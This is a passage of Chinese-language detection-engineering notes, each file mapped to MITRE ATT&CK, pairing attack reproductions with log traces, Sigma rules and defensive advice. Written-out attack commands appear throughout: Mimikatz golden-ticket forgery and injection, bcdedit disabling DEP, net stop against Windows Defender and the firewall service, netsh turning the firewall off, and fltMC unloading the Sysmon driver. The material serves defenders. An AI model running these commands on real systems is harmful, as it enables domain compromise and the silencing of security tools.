30000000 ( USER_OBJECT ) User Account Control : 00000202 ( ACCOUNTDISABLE | NORMAL_ACCOUNT ) SID : S-1-5-21-1234567890-123456789-123456789-502 Credentials: Hash NTLM: aabbccddeeff11223344556677889900 Hash AES256: 11223344556677889900aabbccddeeff11223344556677889900aabbccdd ``` **说明**: - 记录`NTLM`哈希(`aabbccddeeff11223344556677889900`)和域SID(`S-1-5-21-1234567890-123456789-123456789`)。 - 可通过其他方法(如凭据转储)获取`krbtgt`哈希。 #### 3. 清除客户端Kerberos票据 在域内客户端上使用Mimikatz查看并清除当前票据。 **查看票据**: ```cmd mimikatz.exe "kerberos::list" exit ``` **清除票据**: ```cmd mimikatz.exe "kerberos::purge" exit ``` ![清理凭据](https://s1.ax1x.com/2020/04/16/JFzjoQ.png) **结果**: - 清除现有票据,确保伪造票据生效。 #### 4. 伪造TGT票据 ##### 方法1:直接注入黄金票据 **命令**: ```cmd mimikatz.exe "kerberos::golden /domain:abcc.org /sid:S-1-5-21-1234567890-123456789-123456789 /rc4:aabbccddeeff11223344556677889900 /user:fakeadmin /ptt" exit ``` ![伪造](https://s1.ax1x.com/2020/04/16/JkSAwF.png) **参数说明**: - `/domain`:域名称(`abcc.org`) - `/sid`:域SID - `/rc4`:`krbtgt`的NTLM哈希 - `/user`:伪造的用户名(任意,如`fakeadmin`) - `/ptt`:直接注入票据到当前会话 **结果**: - 伪造TGT注入成功,当前会话具备域管理员权限。 ![验证](https://s1.ax1x.com/2020/04/16/JkSeY9.png) ##### 方法2:生成票据文件并导入 **生成票据**: ```cmd mimikatz.exe "kerberos::golden /domain:abcc.org /sid:S-1-5-21-1234567890-123456789-123456789 /rc4:aabbccddeeff11223344556677889900 /user:fakeadmin /ticket:test.kirbi" exit ``` ![伪造2](https://s1.ax1x.com/2020/04/16/JkSMy6.png) **导入票据**: ```cmd mimikatz.exe "kerberos::ptt test.kirbi" exit ``` ![导入](https://s1.ax1x.com/2020/04/16/JkSQOK.png) **结果**: - 生成`test.kirbi`文件并成功导入,当前会话获得伪造TGT。 ![验证1](https://s1.ax1x.com/2020/04/16/JkSd6P.png) #### 5. 验证攻击效果 **命令**: ```cmd dir \\ICBC.abcc.org\c$ ``` **结果**: - 成功列出域控`C$`共享目录,表明伪造TGT有效,具备域管理员权限。 ## 测试留痕 正常日志痕迹 ![正常](https://s1.ax1x.com/2020/04/16/JkS6Yj.png) 异常日志痕迹 ![异常](https://s1.ax1x.com/2020/04/16/JkSykQ.png) ### Windows安全日志(Event ID 4624:账户登录) **正常登录日志**: ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2020/04/16 10:00:00 事件 ID: 4624 任务类别: Logon 级别: 信息 用户: N/A 计算机: ICBC.abcc.org 描述: 已成功登录一个账户。 主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 登录信息: 登录类型: 3 受限管理员模式: - 虚拟账户: 否 提升的令牌: 是 模拟级别: 模拟 新登录: 安全 ID: ABCC\user1 帐户名: user1 帐户域: ABCC 登录 ID: 0x123456 登录 GUID: {00000000-0000-0000-0000-000000000000} 网络字段: 工作站名称: CLIENT1 来源网络地址: 192.168.1.100 来源端口: 12345 登录过程: Kerberos 身份验证包: Kerberos 票据选项: 0x40810010 票据加密类型: 0x17 ``` **黄金票据异常日志**: ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2020/04/16 10:00:00 事件 ID: 4624 任务类别: Logon 级别: 信息 用户: N/A 计算机: ICBC.abcc.org 描述: 已成功登录一个账户。 主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 登录信息: 登录类型: 3 受限管理员模式: - 虚拟账户: 否 提升的令牌: 是 模拟级别: 模拟 新登录: 安全 ID: ABCC\fakeadmin 帐户名: fakeadmin 帐户域: ABCC 登录 ID: 0x789012 登录 GUID: {00000000-0000-0000-0000-000000000000} 网络字段: 工作站名称: CLIENT1 来源网络地址: 192.168.1.100 来源端口: 12345 登录过程: Kerberos 身份验证包: Kerberos 票据选项: 0x40810010 票据加密类型: 0x17 ``` **分析**: - 异常日志显示登录用户为`fakeadmin`,可能为不存在的账户或未记录的合法用户。 - 帐户域为`ABCC`,但无对应AD账户,提示伪造票据。 ### Windows安全日志(Event ID 4672:特权分配) **异常日志**: ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2020/04/16 10:00:00 事件 ID: 4672 任务类别: Special Logon 级别: 信息 用户: N/A 计算机: ICBC.abcc.org 描述: 已分配特权给新的登录。 主题: 安全 ID: ABCC\fakeadmin 帐户名: fakeadmin 帐户域: - 登录 ID: 0x789012 特权: SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege ... ``` **分析**: - 账户域为空或异常(如`fakeadmin`无域),提示可能为黄金票据伪造的登录。 - 分配高权限(如`SeSecurityPrivilege`)表明攻击者获得域管理员级别访问。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 检测黄金票据登录行为 description: Detects potential Golden Ticket usage by identifying Kerberos logins with anomalous account domains or non-existent users. status: experimental author: 12306Bro date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1550/003/ logsource: product: windows service: security detection: selection_login: EventID: 4624 LogonType: 3 AuthenticationPackageName: Kerberos AccountName|re: '.*' # 匹配任意用户名 AccountDomain|contains: '.' selection_privilege: EventID: 4672 AccountDomain: '-' # 空域或异常域 timeframe: 5s condition: selection_login and selection_privilege fields: - AccountName - AccountDomain - LogonType falsepositives: - Legitimate Kerberos logins with misconfigured domains level: high tags: - attack.lateral_movement - attack.t1550.003 ``` **规则说明**: - 检测Event ID 4624(Kerberos登录)和Event ID 4672(特权分配)中账户域异常(如空或不匹配)的行为。 - 时间窗口为5秒,确保登录和特权分配事件相关。 - 规则为实验性,需测试以减少误报。 ### 流量侧检测建议 由于Mimikatz修复可能导致日志检测误报,建议结合网络流量分析检测黄金票据: 1. **监控AS-REP票据**: - 捕获Kerberos AS-REP响应中的TGT票据,计算票据的唯一哈希值(基于加密内容)。 - 维护已颁发TGT哈希列表(列表A),设置过期时间(如10小时,TGT默认有效期)。 2. **验证TGS-REQ票据**: - 检查TGS-REQ请求中的TGT哈希是否在列表A中。 - 若TGT哈希不存在,则可能为伪造的黄金票据。 3. **工具支持**: - 使用网络监控工具(如Zeek、Wireshark)分析Kerberos流量。 - 部署IDS/IPS规则,检测异常TGT使用。 4. **其他指标**: - 监控异常的Kerberos票据加密类型(如RC4而非AES,可能表示旧版票据伪造)。 - 检查TGT请求来源是否为非预期主机。 ## 建议 1. **监控Kerberos活动**: - 启用详细Kerberos日志(Event ID 4768、4769),分析TGT和服务票据请求。 - 使用Sysmon(Event ID 1)监控Mimikatz等凭据转储工具的执行。 2. **保护krbtgt账户**: - 定期重置`krbtgt`密码(建议每6个月),需执行两次以失效旧哈希。 - 监控`krbtgt`账户的异常访问或DCSync操作。 3. **基线化行为**: - 建立正常Kerberos登录模式,识别异常账户或域(如不存在的`fakeadmin`)。 - 监控非预期主机发起的高权限登录。 4. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)关联安全日志和网络流量,检测黄金票据使用。 - 设置高优先级告警,针对异常Kerberos登录。 5. **限制高危操作**: - 限制域控的远程访问,减少`krbtgt`哈希暴露风险。 - 使用组策略禁用RC4加密,强制使用AES。 6. **响应措施**: - 检测到黄金票据后,重置`krbtgt`密码并强制所有用户重新认证。 - 调查攻击来源,检查Mimikatz执行痕迹或其他凭据转储活动。 7. **测试与验证**: - 在测试环境中模拟黄金票据攻击,验证检测规则和流量分析有效性。 - 调整规则阈值,减少误报。 ## 参考推荐 - MITRE ATT&CK T1550.003 - Microsoft:检测黄金票据攻击 - Atomic Red Team T1550.003 ================================================ FILE: Windows/07逃避防御/T1562-win-使用Bcdedit禁用DEP安全机制.md ================================================ # T1562-Win-使用Bcdedit禁用DEP安全机制 ## 描述 攻击者可能通过修改系统组件来禁用或削弱防御机制,以规避检测(MITRE ATT&CK T1562)。这包括破坏预防性防御(如防火墙、防病毒软件)以及用于审核和识别恶意行为的检测功能(如事件日志、EDR)。其中一种技术是通过`bcdedit.exe`修改Windows的**数据执行保护(DEP)**设置,禁用此安全机制以便执行恶意代码。 **数据执行保护(DEP)**是一种安全功能,旨在防止数据页面(如堆、栈、内存池)执行代码,通过设置内存页的**NX/XD(No-Execute/Execute Disable)**属性实现。它分为软件DEP(如SafeSEH)和硬件DEP,保护系统免受缓冲区溢出等攻击。DEP有四种工作模式: - **OptIn**:仅保护Windows系统组件(默认模式)。 - **OptOut**:为非排除列表的程序和服务启用DEP。 - **AlwaysOn**:对所有进程启用DEP。 - **AlwaysOff**:对所有进程禁用DEP(高风险)。 攻击者可能使用`bcdedit.exe /set {current} nx AlwaysOff`禁用DEP,允许恶意代码在数据页面执行,规避安全限制。 ### DEP局限性 1. 并非所有CPU支持硬件DEP。 2. 兼容性问题可能导致DEP对某些第三方插件或老旧程序(如ATL7.1以前版本)默认禁用。 3. `/NXCOMPAT`编译选项仅在Windows Vista及以上有效,早期系统可能忽略。 4. 早期Windows系统提供API(如`NtSetInformationProcess`)可动态修改DEP状态。 ## 测试案例 ### 测试1:使用bcdedit.exe禁用DEP 攻击者通过`bcdedit.exe`将DEP设置为`AlwaysOff`,禁用所有进程的DEP保护。 **攻击命令**(需以管理员权限在命令提示符中运行): ```cmd bcdedit.exe /set {current} nx AlwaysOff ``` **恢复命令**(恢复默认OptIn模式): ```cmd bcdedit.exe /set {current} nx OptIn ``` **说明**: - `nx AlwaysOff`禁用DEP,增加系统被缓冲区溢出攻击利用的风险。 - 需重启系统使更改生效。 - `OptIn`恢复默认设置,仅保护系统组件。 ## 检测日志 - **Windows安全日志**:通过Event ID 4688(进程创建)记录`bcdedit.exe`的执行(需启用进程跟踪审核)。 - **Sysmon日志**:通过Event ID 1(进程创建)捕获详细的命令行参数和父进程信息。 ## 测试复现 ### 测试1:禁用DEP **测试环境**:Windows Server 2019 **攻击命令**: ```cmd C:\Users\Administrator>bcdedit.exe /set {current} nx AlwaysOff 操作成功完成。 ``` **结果**: - 命令成功执行,DEP设置为`AlwaysOff`(需重启生效)。 - 未生成错误提示,表明系统接受了配置更改。 **验证命令**: ```cmd bcdedit.exe /enum {current} ``` **输出示例**: ``` Windows Boot Loader ------------------- identifier {current} ... nx AlwaysOff ``` ## 测试留痕 ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: SYSTEM 计算机: JACKMA 描述: 已创建新进程。 创建者主题: 安全 ID: JACKMA\Administrator 帐户名: Administrator 帐户域: JACKMA 登录 ID: 0x73509 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x15e4 新进程名称: C:\Windows\System32\bcdedit.exe 令牌提升类型: %%1936 (TokenElevationTypeDefault) 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0xaf0 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: bcdedit.exe /set {current} nx AlwaysOff ``` **分析**: - 日志记录了`bcdedit.exe`的执行,命令行明确包含`nx AlwaysOff`,表明DEP禁用尝试。 - 父进程为`cmd.exe`,提示通过命令提示符触发。 - 高完整性级别(High Mandatory Level)表明需要管理员权限。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 使用bcdedit.exe禁用Windows DEP安全机制 description: Detects execution of bcdedit.exe to disable Data Execution Prevention (DEP) by setting nx to AlwaysOff. status: experimental date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1562/ logsource: product: windows category: process_creation detection: selection: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|endswith: '\bcdedit.exe' CommandLine|contains: 'nx AlwaysOff' condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - Legitimate administrative changes to DEP settings for compatibility issues level: high tags: - attack.defense_evasion - attack.t1562 ``` **规则说明**: - 检测`bcdedit.exe`执行时命令行包含`nx AlwaysOff`的进程创建事件,表明DEP禁用行为。 - 覆盖Windows安全日志(Event ID 4688)和Sysmon日志(Event ID 1)。 - 规则为实验性,需测试以减少合法兼容性调整的误报。 ### 建议 1. **监控bcdedit执行**: - 使用Sysmon(Event ID 1)捕获`bcdedit.exe`的进程创建事件,检查命令行是否包含`nx AlwaysOff`。 - 关注非管理员用户或非预期环境(如生产服务器)运行`bcdedit.exe`的行为。 2. **启用命令行审计**: - 配置Windows安全策略,启用进程跟踪审核(Event ID 4688)并记录命令行参数(需Windows 7+支持)。 - 确保Sysmon配置包含命令行和父进程信息。 3. **基线化DEP设置**: - 定期检查系统DEP状态(`bcdedit.exe /enum {current}`),记录合法配置(如`OptIn`或`OptOut`)。 - 生产环境中禁用DEP(`AlwaysOff`)应极为罕见,视为高危行为。 4. **权限监控**: - `bcdedit.exe`修改DEP需要管理员权限,监控非预期账户尝试执行的`bcdedit.exe`行为。 - 检测失败的尝试(可能因权限不足),可能是攻击者进行探测。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和Sysmon日志,检测`bcdedit.exe`异常执行。 - 设置高优先级告警,针对`nx AlwaysOff`的命令。 6. **行为链关联**: - 将`bcdedit.exe`执行与其他可疑行为(如提权、代码注入、网络连接)关联,识别攻击链。 - 例如,检测禁用DEP后是否出现异常的进程执行或C2通信。 7. **限制bcdedit使用**: - 使用AppLocker或组策略限制`bcdedit.exe`的执行,仅允许在特定管理场景下运行。 - 监控未经授权的`bcdedit.exe`调用。 8. **响应措施**: - 检测到DEP禁用后,立即恢复DEP设置(`bcdedit.exe /set {current} nx OptIn`)并重启系统。 - 调查攻击来源,检查是否有后续恶意代码执行。 9. **测试与验证**: - 在测试环境中模拟禁用DEP,验证检测规则有效性。 - 调整规则阈值,排除合法兼容性调整的误报。 ## 参考推荐 - MITRE ATT&CK T1562 - Windows安全机制:数据执行保护(DEP) - Atomic Red Team T1562 - Microsoft文档:bcdedit命令 ================================================ FILE: Windows/07逃避防御/T1562.001-Win-使用Net stop关闭Windefend.md ================================================ # T1562.001-Win-使用net stop关闭部分服务 ## 描述 攻击者可能通过禁用或干扰防御机制来规避检测(MITRE ATT&CK T1562.001)。这包括阻止监测软件捕获告警、阻止事件日志收集和分析,或修改安全工具配置以逃避追踪。一种常见技术是使用`net stop`命令停止关键系统服务,如**Windows Defender**(`WinDefend`)、**Windows防火墙**(`mpssvc`)或其他安全相关服务,以削弱主机防护能力。 Windows Defender和其他安全服务(如`SDRSVC`、SysMain`)是保护系统免受恶意软件和间谍软件威胁的重要组件。攻击者可能尝试停止这些服务,以允许恶意代码执行、数据外泄或横向移动。关闭这些服务通常需要管理员权限,且可能触发系统错误(如错误代码5:拒绝访问),但即使失败的尝试也可能留下可检测的痕迹。检测到此类行为应立即触发管理员调查,恢复服务并分析异常来源。 ## 测试案例 ### 测试1:使用net stop关闭关键服务 攻击者在Windows Server 2019上尝试停止多个系统服务,包括安全服务和非安全服务。 **攻击命令**(需管理员权限): ```cmd net stop WinDefend net stop SDRSVC net stop vds net stop SysMain net stop FontCache ``` **服务说明**: - `WinDefend`:Windows Defender防病毒服务。 - `SDRSVC`:Windows备份和还原服务。 - `vds`:虚拟磁盘服务。 - `SysMain`:超级预取服务,提升系统性能。 - `FontCache`:Windows字体缓存服务。 **恢复命令**: ```cmd net start WinDefend net start SDRSVC net start vds net start SysMain net start FontCache ``` **说明**: - 某些服务(如`WinDefend`)可能因系统保护机制拒绝停止,需更高权限或特定条件(如禁用防篡改保护)。 - 即使命令失败,进程创建日志仍会记录尝试。 ## 检测日志 - **Windows安全日志**:Event ID 4688(进程创建),记录`net.exe`和`net1.exe`的执行(需启用进程跟踪审核)。 - **Windows系统日志**:Event ID 7036(服务状态变更),记录服务停止或启动。 - **Sysmon日志**: - Event ID 1(进程创建),捕获`net.exe`的命令行参数。 - Event ID 13(注册表修改),可能记录服务配置更改。 ## 测试复现 ### 测试1:尝试停止WinDefend服务 **测试环境**:Windows Server 2019 **攻击命令**: ```cmd C:\Users\Administrator>net stop WinDefend 发生系统错误 5。 拒绝访问。 ``` **结果**: - 命令失败,提示“拒绝访问”(错误代码5),表明`WinDefend`受保护。 - 安全日志记录`net.exe`和`net1.exe`的进程创建事件。 ## 测试留痕 ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2022/12/26 16:54:49 事件 ID: 4688 任务类别: Process Creation 级别: 信息 关键字: 审核成功 用户: N/A 计算机: WIN-SAPNNP06AE5.jackma.com 描述: 已创建新进程。 创建者主题: 安全 ID: JACKMA\Administrator 帐户名: Administrator 帐户域: JACKMA 登录 ID: 0x73509 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x3c4 新进程名称: C:\Windows\System32\net.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0xaf0 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: net stop WinDefend 已创建新进程。 创建者主题: 安全 ID: JACKMA\Administrator 帐户名: Administrator 帐户域: JACKMA 登录 ID: 0x73509 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0xa20 新进程名称: C:\Windows\System32\net1.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x3c4 创建者进程名称: C:\Windows\System32\net.exe 进程命令行: C:\Windows\System32\net1 stop WinDefend ``` **分析**: - 日志记录`net.exe`和`net1.exe`的执行,命令行包含`stop WinDefend`。 - 父进程为`cmd.exe`,提示通过命令提示符触发。 - 即使命令失败,日志仍记录尝试。 ### Windows系统日志(Event ID 7036:服务状态变更) ```xml 日志名称: System 来源: Service Control Manager 日期: 2022/12/26 16:54:50 事件 ID: 7036 任务类别: None 级别: 信息 用户: N/A 计算机: WIN-SAPNNP06AE5.jackma.com 描述: SysMain 服务处于 停止 状态。 ``` **分析**: - 日志记录`SysMain`服务停止,表明`net stop SysMain`成功执行。 - 其他服务(如`WinDefend`)可能因保护机制未生成此日志。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 检测使用net stop关闭关键系统服务 description: Detects attempts to stop critical Windows services using net stop, including security-related services like WinDefend. status: experimental author: 12306Bro date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1562/001/ logsource: product: windows category: process_creation detection: selection_process: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|endswith: - '\net.exe' - '\net1.exe' CommandLine|contains: 'stop' CommandLine|contains: - 'WinDefend' - 'mpssvc' - 'SDRSVC' - 'vds' - 'SysMain' - 'FontCache' selection_service: EventID: 7036 EventData|contains: - 'Windows Defender Antivirus Service 服务处于 停止 状态' - 'Windows Backup 服务处于 停止 状态' - 'Virtual Disk 服务处于 停止 状态' - 'SysMain 服务处于 停止 状态' - 'Windows Font Cache Service 服务处于 停止 状态' condition: selection_process or selection_service fields: - Image - CommandLine - ParentImage - EventData falsepositives: - Legitimate administrative service management level: high tags: - attack.defense_evasion - attack.t1562.001 ``` **规则说明**: - 检测`net.exe`或`net1.exe`执行`stop`命令,针对关键服务(如`WinDefend`、`mpssvc`)。 - 检测系统日志中关键服务停止事件(Event ID 7036)。 - 规则为实验性,需测试以减少合法管理员操作的误报。 ### 建议 1. **监控服务操作**: - 使用Sysmon(Event ID 1)捕获`net.exe`和`net1.exe`的进程创建,检查命令行是否包含`stop`和关键服务名称。 - 监控Event ID 13(注册表修改),检测服务配置更改(如`HKLM\SYSTEM\CurrentControlSet\Services`)。 2. **启用命令行审计**: - 配置Windows安全策略,启用进程跟踪审核(Event ID 4688)并记录命令行参数(需Windows 7+支持)。 - 确保Sysmon配置包含命令行信息。 3. **基线化行为**: - 建立关键服务(如`WinDefend`、`mpssvc`)的正常运行基线,生产环境中停止这些服务应极为罕见。 - 监控非管理员用户或非预期父进程(如`powershell.exe`、`rundll32.exe`)执行服务停止操作。 4. **保护关键服务**: - 配置`WinDefend`和`mpssvc`等服务的防篡改保护,防止未经授权停止。 - 使用组策略设置服务为自动启动,防止手动禁用。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和系统日志,检测服务停止行为。 - 设置高优先级告警,针对关键服务的`net stop`尝试。 6. **行为链关联**: - 将服务停止与其他可疑行为(如网络连接、文件下载、提权)关联,识别攻击链。 - 例如,检测停止`WinDefend`后是否出现恶意进程或C2通信。 7. **权限监控**: - `net stop`需要管理员权限,监控非预期账户尝试执行的命令。 - 检测失败的尝试(如错误代码5),可能是攻击者进行权限探测。 8. **响应措施**: - 检测到服务停止后,立即恢复服务(`net start `)并调查攻击来源。 - 检查是否有后续恶意活动(如恶意文件执行)。 9. **测试与验证**: - 在测试环境中模拟停止关键服务,验证检测规则有效性。 - 调整规则阈值,排除合法管理员操作的误报。 ## 参考推荐 - MITRE ATT&CK T1562.001 - Microsoft文档:net命令 - Atomic Red Team T1562.001 ================================================ FILE: Windows/07逃避防御/T1562.001-Win-使用Netsh关闭windows防火墙.md ================================================ # T1562.001-Win-使用Netsh关闭Windows防火墙 ## 描述 攻击者可能通过禁用或干扰防御机制来规避检测(MITRE ATT&CK T1562.001)。这包括阻止监测软件捕获告警、阻止事件日志收集和分析,或修改安全工具配置以逃避追踪。一种常见技术是使用`netsh`命令禁用**Windows防火墙**,以允许未经授权的网络通信(如C2连接、数据外泄)。 **Windows防火墙**(由`mpssvc`服务支持)是Windows内置的安全组件,用于控制网络流量。攻击者可能通过命令(如`netsh advfirewall set state off`)或停止相关服务(如`net stop mpssvc`)禁用防火墙,从而绕过网络防护。关闭防火墙可能是恶意活动(如间谍软件、勒索软件)的早期迹象,应立即触发管理员调查。 ## 测试案例 ### 测试1:使用netsh关闭Windows防火墙 攻击者使用`netsh advfirewall`命令关闭Windows防火墙的公共配置文件(或其他配置文件,如`domain`、`private`)。 **攻击命令**(需管理员权限): ```cmd netsh advfirewall set publicprofile state off ``` **恢复命令**: ```cmd netsh advfirewall set publicprofile state on ``` **说明**: - 命令禁用公共配置文件的防火墙规则,允许未经限制的网络流量。 - 其他配置文件(`domainprofile`、`privateprofile`)也可类似操作。 ### 测试2:停止Windows防火墙服务 攻击者通过停止`mpssvc`服务禁用防火墙。 **攻击命令**(需管理员权限): ```cmd net stop mpssvc ``` **恢复命令**: ```cmd net start mpssvc ``` **说明**: - `mpssvc`(Windows Defender Firewall服务)是防火墙的核心服务,停止它将禁用所有防火墙功能。 ## 检测日志 - **Windows系统日志**:Event ID 7036(服务状态变更),记录`mpssvc`服务停止或启动。 - **Windows安全日志**:Event ID 4688(进程创建),记录`netsh.exe`或`net.exe`的执行(需启用进程跟踪审核)。 - **Sysmon日志**: - Event ID 1(进程创建),捕获`netsh.exe`或`net.exe`的命令行参数。 - Event ID 13(注册表修改),可能记录防火墙配置更改。 ## 测试复现 ### 测试1:使用netsh关闭防火墙 **测试环境**:Windows 7 **攻击命令**: ```cmd C:\Windows\system32>netsh advfirewall set publicprofile state off 确定。 ``` **结果**: - 公共配置文件防火墙成功禁用,网络流量不再受限。 - 系统日志记录`mpssvc`服务状态变更(若服务被影响)。 ### 测试2:停止mpssvc服务 **测试环境**:Windows 7 **攻击命令**: ```cmd C:\Windows\system32>net stop mpssvc Windows Firewall 服务正在停止. Windows Firewall 服务已成功停止。 ``` **结果**: - `mpssvc`服务停止,防火墙功能完全禁用。 - 系统日志记录服务停止事件。 ## 测试留痕 ### Windows系统日志(Event ID 7036:服务状态变更) ```xml 日志名称: System 来源: Service Control Manager 日期: 2023/10/01 10:00:00 事件 ID: 7036 任务类别: None 级别: 信息 用户: N/A 计算机: WIN7-TEST 描述: Windows Firewall 服务处于 停止 状态。 ``` **分析**: - 日志记录`mpssvc`服务停止,表明防火墙被禁用。 - 可能由`net stop mpssvc`或`netsh`间接触发。 ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: SYSTEM 计算机: WIN7-TEST 描述: 已创建新进程。 创建者主题: 安全 ID: WIN7-TEST\Administrator 帐户名: Administrator 帐户域: WIN7-TEST 登录 ID: 0x3E7 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x1234 新进程名称: C:\Windows\System32\netsh.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x5678 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: netsh advfirewall set publicprofile state off ``` **分析**: - 日志记录`netsh.exe`执行,命令行明确包含`set publicprofile state off`。 - 父进程为`cmd.exe`,提示通过命令提示符触发。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 检测使用netsh关闭Windows防火墙 description: Detects execution of netsh to disable Windows Firewall or stopping of the mpssvc service. status: experimental author: 12306Bro date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1562/001/ logsource: product: windows category: process_creation detection: selection_netsh: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|endswith: '\netsh.exe' CommandLine|contains: - 'advfirewall set' - 'state off' selection_service: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|endswith: '\net.exe' CommandLine|contains: 'stop mpssvc' selection_system: EventID: 7036 EventData|contains: 'Windows Firewall 服务处于 停止 状态' condition: selection_netsh or selection_service or selection_system fields: - Image - CommandLine - ParentImage - EventData falsepositives: - Legitimate administrative firewall adjustments level: high tags: - attack.defense_evasion - attack.t1562.001 ``` **规则说明**: - 检测`netsh.exe`执行禁用防火墙的命令(如`set publicprofile state off`)。 - 检测`net.exe`停止`mpssvc`服务。 - 检测系统日志中`mpssvc`服务停止事件(Event ID 7036)。 - 规则为实验性,需测试以减少合法管理员操作的误报。 ### 建议 1. **监控防火墙操作**: - 使用Sysmon(Event ID 1)捕获`netsh.exe`和`net.exe`的进程创建,检查命令行是否包含`state off`或`stop mpssvc`。 - 监控Event ID 13(注册表修改),检测防火墙配置更改(如`HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess`)。 2. **启用命令行审计**: - 配置Windows安全策略,启用进程跟踪审核(Event ID 4688)并记录命令行参数(需Windows 7+支持)。 - 确保Sysmon配置包含命令行信息。 3. **基线化行为**: - 建立防火墙配置和服务的正常基线,生产环境中禁用防火墙应极为罕见。 - 监控非管理员用户或非预期父进程(如`powershell.exe`、`rundll32.exe`)执行防火墙操作。 4. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析系统日志和安全日志,检测防火墙禁用行为。 - 设置高优先级告警,针对`mpssvc`停止或`netsh`禁用命令。 5. **行为链关联**: - 将防火墙禁用与其他可疑行为(如网络连接、文件下载、提权)关联,识别攻击链。 - 例如,检测禁用防火墙后是否出现异常的C2通信。 6. **限制高危操作**: - 使用AppLocker或组策略限制`netsh.exe`和`net.exe`的执行,仅允许特定管理账户使用。 - 配置防火墙服务(`mpssvc`)为自动启动,防止手动停止。 7. **响应措施**: - 检测到防火墙禁用后,立即恢复防火墙(`netsh advfirewall set allprofiles state on`或`net start mpssvc`)。 - 调查攻击来源,检查是否有后续恶意活动。 8. **测试与验证**: - 在测试环境中模拟禁用防火墙,验证检测规则有效性。 - 调整规则阈值,排除合法管理员操作的误报。 ## 参考推荐 - MITRE ATT&CK T1562.001 - Microsoft文档:netsh advfirewall命令 - Atomic Red Team T1562.001 ================================================ FILE: Windows/07逃避防御/T1562.001-Win-卸载安全工具使用的驱动程序-fltMC.exe(白名单).md ================================================ # T1562.001-Win-卸载安全工具使用的驱动程序-fltMC.exe(白名单) ## 描述 攻击者可能通过禁用或干扰防御机制来规避检测(MITRE ATT&CK T1562.001)。这包括阻止监测软件捕获告警、阻止事件日志的收集和分析,或卸载安全工具依赖的组件。攻击者可能修改安全软件的配置文件、注册表项,或停止事件转发进程(如Splunk转发器、Filebeat、Rsyslog)以逃避追踪。 一种常见技术是**卸载安全产品依赖的内核模式微筛选器驱动程序(Minifilter Driver)**,如Sysmon、EDR或防病毒软件的驱动。这些驱动用于监控文件系统、进程创建、注册表操作等关键活动。卸载它们可显著削弱或完全禁用安全工具的检测能力,为攻击者创建低检测环境。 Windows内置的`fltMC.exe`工具可用于管理微筛选器驱动程序,包括加载、卸载、附加或分离驱动。攻击者可能滥用此工具卸载安全驱动,以规避防御。 ## 测试案例 ### 测试1:使用fltMC.exe卸载Sysmon驱动 `fltMC.exe`是Windows Vista及以上版本内置的命令行工具,位于`C:\Windows\System32\fltMC.exe`,用于管理微筛选器驱动程序。攻击者可利用其`unload`命令卸载安全工具的驱动,如Sysmon的`SysmonDrv`。 **攻击命令**(需以管理员权限在命令提示符中运行): ```cmd fltMC.exe unload SysmonDrv ``` **说明**: - 命令尝试卸载Sysmon的微筛选器驱动`SysmonDrv`。 - 成功卸载将禁用Sysmon的监控功能。 - 需管理员权限执行。 **清理命令**(若需恢复Sysmon): ```cmd sc start Sysmon ``` **用例**:防御规避 **所需权限**:管理员 **操作系统**:Windows Vista、7、8、8.1、10、11、Server 2008+ ## 检测日志 - **Windows安全日志**:通过Event ID 4688(进程创建)记录`fltMC.exe`的执行(需启用进程跟踪审核)。 - **Sysmon日志**:通过Event ID 1(进程创建)捕获详细的命令行参数和父进程信息。 ## 测试复现 ### 测试1:尝试卸载Sysmon驱动 **测试环境**:Windows 10(未安装Sysmon) **攻击命令**: ```cmd C:\Windows\system32>fltMC.exe unload SysmonDrv 卸载失败,出现错误: 0x801f0013 系统无法找到指定的筛选器。 ``` **结果**: 